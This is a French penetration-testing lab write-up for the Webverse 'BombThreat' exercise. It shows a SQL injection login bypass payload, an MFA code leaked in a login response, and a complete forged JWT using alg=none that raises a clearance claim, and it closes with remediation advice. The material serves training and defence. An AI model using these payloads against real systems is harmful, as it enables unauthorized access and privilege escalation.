ZNote Logo
ZNote
Labs PentestmediumWebverse
17-06-2026
9 min

Lab BombThreat : SQLi + MFA Leak + JWT alg=none pour Désamorcer une Bombe Fictive

Pentest d'un portail de contrôle à accès restreint : contournement du login via injection SQL, récupération du code MFA directement dans la réponse JSON du serveur, élévation du niveau de clearance de level1 à level5 via une attaque JWT alg=none, et déclenchement de l'endpoint de désamorçage.

Pentest
SQL Injection
MFA Bypass
JWT
alg=none
Token Forgery
Web Security
Webverse

Contexte et Objectifs

ChampDétail
PlateformeWebverse
LienAccéder au Lab
Ciblebombthreat.local
OSLinux (nginx 1.27.5)
Vuln. clésSQL Injection, MFA Leak, JWT alg=none
DifficultéMedium

Scénario : Un groupe anonyme appelé NEXUS a placé un dispositif de 15 kilotonnes sous Central London et exige 10 millions de dollars sous 24 heures. Le détonateur est relié à un panneau de contrôle distant appelé NEXUS Control. La mission : s'introduire dans le portail, escalader le niveau de clearance, et déclencher l'endpoint /api/bomb/deactivate avec les bons droits.

Kill chain :

Sortie
Page de login unique sur port 80
        │
        ▼
Injection SQL → contournement authentification
        │
        ▼
Code MFA retourné en clair dans la réponse JSON
        │
        ▼
Accès dashboard → niveau clearance level1, désamorçage exige level5
        │
        ▼
Token JWT décodé → clearance encodée dans le payload
        │
        ▼
Modification directe échoue (signature invalide)
        │
        ▼
JWT alg=none → suppression de la vérification de signature
        │
        ▼
clearance=level5 → désamorçage → flag

1. Reconnaissance

Commande
bash
rustscan -b 500 -a bombthreat.local -- -sC -sV -Pn

Output :

Sortie
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx 1.27.5
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: NEXUS Control -Detonation Portal
|_http-server-header: nginx/1.27.5

Un seul port ouvert : 80/tcp avec nginx 1.27.5. Le TTL de 63 confirme une machine Linux. L'intégralité de la surface d'attaque se résume à une application web.

Page de login NEXUS Control

Une page de login. Rien d'autre visible.


2. Enumération Web

VHOST Fuzzing

Commande
bash
ffuf -u "http://bombthreat.local" \
  -H "Host: FUZZ.bombthreat.local" \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs 169

Aucun résultat. Pas de sous-domaine caché.

Content Discovery

Commande
bash
feroxbuster -u "http://bombthreat.local" \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt

Aucun répertoire découvert.

Conclusion : La surface d'attaque est entièrement concentrée sur la page de login. Pas de panel admin sur un autre sous-domaine, pas de fichiers cachés. Tout se joue sur le formulaire d'authentification et l'API exposée.

Analyse du Code Source JavaScript

En inspectant la page (Ctrl+U), on trouve le script complet de l'application. C'est une SPA (Single Page Application) entièrement côté client qui consomme une API REST.

Les endpoints identifiés dans le code :

EndpointMéthodeRôle
/api/auth/loginPOSTAuthentification username/password
/api/auth/verify-mfaPOSTVérification du code OTP à 6 chiffres
/api/auth/logoutPOSTDéconnexion
/api/deviceGETRécupération des infos du dispositif (dashboard)
/api/bomb/deactivatePOSTDésamorçage (requiert token JWT dans le header Authorization)

Deux observations critiques dans le code :

1. Après le MFA validé, le token JWT est sauvegardé dans le sessionStorage :

Commande
javascript
sessionStorage.setItem("nexus_token", data.access_token);

2. L'appel de désamorçage envoie ce token dans le header Authorization :

Commande
javascript
const data = await api("POST", "/api/bomb/deactivate", null, {
  Authorization: `Bearer ${_sessionToken}`,
});

Le token JWT contrôle donc les droits d'accès à l'endpoint critique. Si on peut modifier ce token, on peut élever nos droits.


3. SQL Injection : Contournement du Login

Références : Vaadata : SQL Injections / PayloadsAllTheThings : SQL Injection

Détection

On commence par tester la robustesse du formulaire avec une apostrophe simple :

Sortie
username: 1'
password: test

Erreur Database Error

Le serveur retourne Database Error.

Cette erreur est une information précieuse. Elle révèle deux choses :

  1. Le backend utilise une base de données SQL.
  2. L'entrée utilisateur est insérée directement dans la requête SQL sans nettoyage. L'apostrophe a cassé la syntaxe de la requête, provoquant une erreur côté base de données qui remonte jusqu'au client.

La requête côté serveur ressemble probablement à quelque chose de ce type :

Commande
sql
SELECT * FROM users WHERE username = '1'' AND password = 'test'
                                          ↑
                          apostrophe non échappée → syntaxe invalide → erreur

Exploitation via Burp Suite

On intercepte la requête de login avec Burp Suite et on l'envoie au Repeater pour crafter notre payload.

Le payload classique de contournement d'authentification SQL :

Sortie
username: ' OR '1'='1'--
password: anything

Comment ce payload fonctionne :

Commande
sql
-- Requête originale
SELECT * FROM users WHERE username = '[INPUT]' AND password = '[INPUT]'

-- Avec notre payload dans username
SELECT * FROM users WHERE username = '' OR '1'='1'--' AND password = 'anything'
                                          │           │
                                          │           └─ -- commente le reste
                                          └─ '1'='1' est toujours vrai

Le -- commente tout ce qui suit, y compris la condition sur le mot de passe. La condition '1'='1' est toujours vraie, donc la requête retourne le premier utilisateur de la table.

Payload injecté dans Burp Repeater

Réponse du serveur :

Réponse JSON avec succès et code MFA

Deux surprises dans cette réponse :

  1. L'injection a fonctionné : on est authentifié en tant que bgoldstein (premier compte dans la table).
  2. Le code MFA est retourné directement dans la réponse JSON. Le serveur envoie le code OTP au client qui vient de se connecter, ce qui annule totalement l'intérêt du second facteur d'authentification.

Passage du MFA

Pour l'authentification finale, nous appliquons ce même payload directement depuis l'interface de l'application:

login page

On récupère le code MFA depuis l'onglet Network des DevTools (ou depuis la réponse Burp) et on le saisit dans l'interface :

Saisie du code MFA récupéré

Dashboard NEXUS Control accessible

On est connecté au dashboard en tant que bgoldstein.


4. Exploration du Dashboard

Le dashboard est une single page. En scrollant, on atteint le bouton de désamorçage :

Bouton de désamorçage avec clearance requise

Sortie
Clearance required: Level 5
Your clearance:     Level 1
"The token encodes level 1"

Le message est explicite : notre token JWT encode level1 et le désamorçage requiert level5. Si on modifie le payload du token pour y mettre level5, on devrait passer.


5. JWT Forgery : alg=none

Références : PortSwigger JWT alg=none / jwt.io

Comprendre la Structure d'un JWT

Un JWT (JSON Web Token) est composé de trois parties séparées par des points, chacune encodée en Base64url :

Sortie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJiZ29sZHN0ZWluIiwiY2xlYXJhbmNlIjoibGV2ZWwxIiwiaWF0IjoxNzgxNjg5MTg5fQ.f8kVA_V1rpOjrOE9qnn8qxC9-blHtIJn2kiuU6GFEp8
│                                      │                                                                                              │
└── Header                             └── Payload                                                                                    └── Signature

Décodé avec jwt.io :

Header :

Sortie
json
{
  "alg": "HS256",
  "typ": "JWT"
}

Payload :

Sortie
json
{
  "sub": "bgoldstein",
  "clearance": "level1",
  "iat": 1781689189
}

La signature est calculée ainsi :

Sortie
HMAC-SHA256(
  base64url(header) + "." + base64url(payload),
  SECRET_KEY
)

Le problème si on modifie le payload directement :

Si on change level1 en level5 dans le payload et qu'on conserve la signature originale, le serveur recalcule la signature avec le nouveau payload et la compare à l'ancienne. Elles ne correspondent plus. Le token est rejeté.

C'est exactement ce qu'on a observé lors de la première tentative de modification.

L'Attaque alg=none

La RFC JWT spécifie qu'une valeur none pour l'algorithme signifie que le token n'est pas signé. Dans cette configuration, aucune signature n'est présente ni vérifiée.

La vulnérabilité : si le serveur ne valide pas rigoureusement la valeur du champ alg dans le header, un attaquant peut :

  1. Modifier le payload librement (changer level1 en level5)
  2. Changer l'algorithme dans le header de HS256 à none
  3. Supprimer la signature (laisser la troisième partie vide)
  4. Soumettre ce token forgé

Le serveur, voyant alg=none, tente de "vérifier" un token sans signature, ce qui revient à ne rien vérifier du tout.

Sortie
Token légitime :
header.payload.signature

Token alg=none forgé :
header_modifié.payload_modifié.
                              ↑ signature vide, point final obligatoire

Construction du Token Forgé

Nouveau header (alg=none) :

Sortie
json
{ "alg": "none", "typ": "JWT" }

Encodé en Base64url : eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

Nouveau payload (clearance=level5) :

Sortie
json
{ "sub": "bgoldstein", "clearance": "level5", "iat": 1781689189 }

Encodé en Base64url : eyJzdWIiOiJiZ29sZHN0ZWluIiwiY2xlYXJhbmNlIjoibGV2ZWw1IiwiaWF0IjoxNzgxNjg5MTg5fQ

Token final forgé :

Sortie
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJiZ29sZHN0ZWluIiwiY2xlYXJhbmNlIjoibGV2ZWw1IiwiaWF0IjoxNzgxNjg5MTg5fQ.

Le point final sans rien après représente la signature vide, obligatoire pour respecter la structure JWT en trois parties.

Injection du Token Forgé

On ouvre les DevTools (F12), onglet Application, puis Session Storage. On remplace la valeur de nexus_token par notre token forgé :

Remplacement du token dans le sessionStorage

On recharge la page. L'application lit le token depuis le sessionStorage via restoreSession(), l'envoie à /api/device pour charger le dashboard, et utilise ce même token pour l'appel à /api/bomb/deactivate.

Dashboard avec clearance level5

Le serveur accepte le token forgé. Notre clearance est maintenant level5.

On clique sur le bouton de désamorçage.


6. Flag

Flag affiché après désamorçage réussi

Londres est sauvée.


7. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan          → Port 80 uniquement, nginx, SPA
2. Code source JS    → Endpoints API identifiés, JWT dans sessionStorage repéré
3. SQLi              → ' OR '1'='1'-- → contournement login, bgoldstein
4. MFA Leak          → Code OTP retourné dans la réponse JSON du login
5. Dashboard         → clearance level1, désamorçage exige level5
6. JWT décodé        → clearance encodée dans le payload
7. Modification directe → échoue (signature HMAC invalide)
8. alg=none          → token forgé sans signature accepté par le serveur
9. clearance=level5  → /api/bomb/deactivate → flag

Remédiation

VecteurProblèmeRemédiation
SQL InjectionEntrées utilisateur insérées directement dans les requêtes SQLUtiliser des requêtes préparées (prepared statements) ou un ORM. Ne jamais construire des requêtes SQL par concaténation de chaînes
MFA LeakLe code OTP est retourné dans la réponse JSON du loginLe serveur ne doit jamais retourner le code MFA au client. Le code doit être envoyé uniquement via le canal secondaire (email, SMS, application TOTP)
JWT alg=noneLe serveur accepte des tokens sans signatureValider explicitement que l'algorithme du token correspond à celui attendu côté serveur. Rejeter tout token avec alg=none ou un algorithme non autorisé
JWT clearance côté clientLe niveau de clearance est encodé dans le token JWT modifiable par le clientLes vérifications d'autorisation doivent toujours se faire côté serveur en base de données, jamais en faisant confiance à une valeur encodée dans un token client. Le token doit identifier l'utilisateur, le serveur récupère ses droits en base
Signature JWT faibleLe secret de signature HMAC n'est pas connu mais l'attaque alg=none contourne la vérificationImplémenter une vérification stricte des algorithmes côté serveur et utiliser une bibliothèque JWT maintenue avec des options de sécurité par défaut (ex: interdire none explicitement)

[!NOTE] Ce lab illustre un chaînage de vulnérabilités où chaque étape débloque la suivante. La SQLi donne un accès partial, le MFA Leak lève le second facteur, et le JWT alg=none élève les droits. Aucune de ces trois vulnérabilités seule n'aurait suffi à atteindre l'objectif. C'est leur combinaison qui permet la compromission complète. En sécurité, l'évaluation d'une vulnérabilité isolée ne suffit pas : il faut toujours analyser ce qu'elle permet d'atteindre en chaîne.


Writeup rédigé par Zcook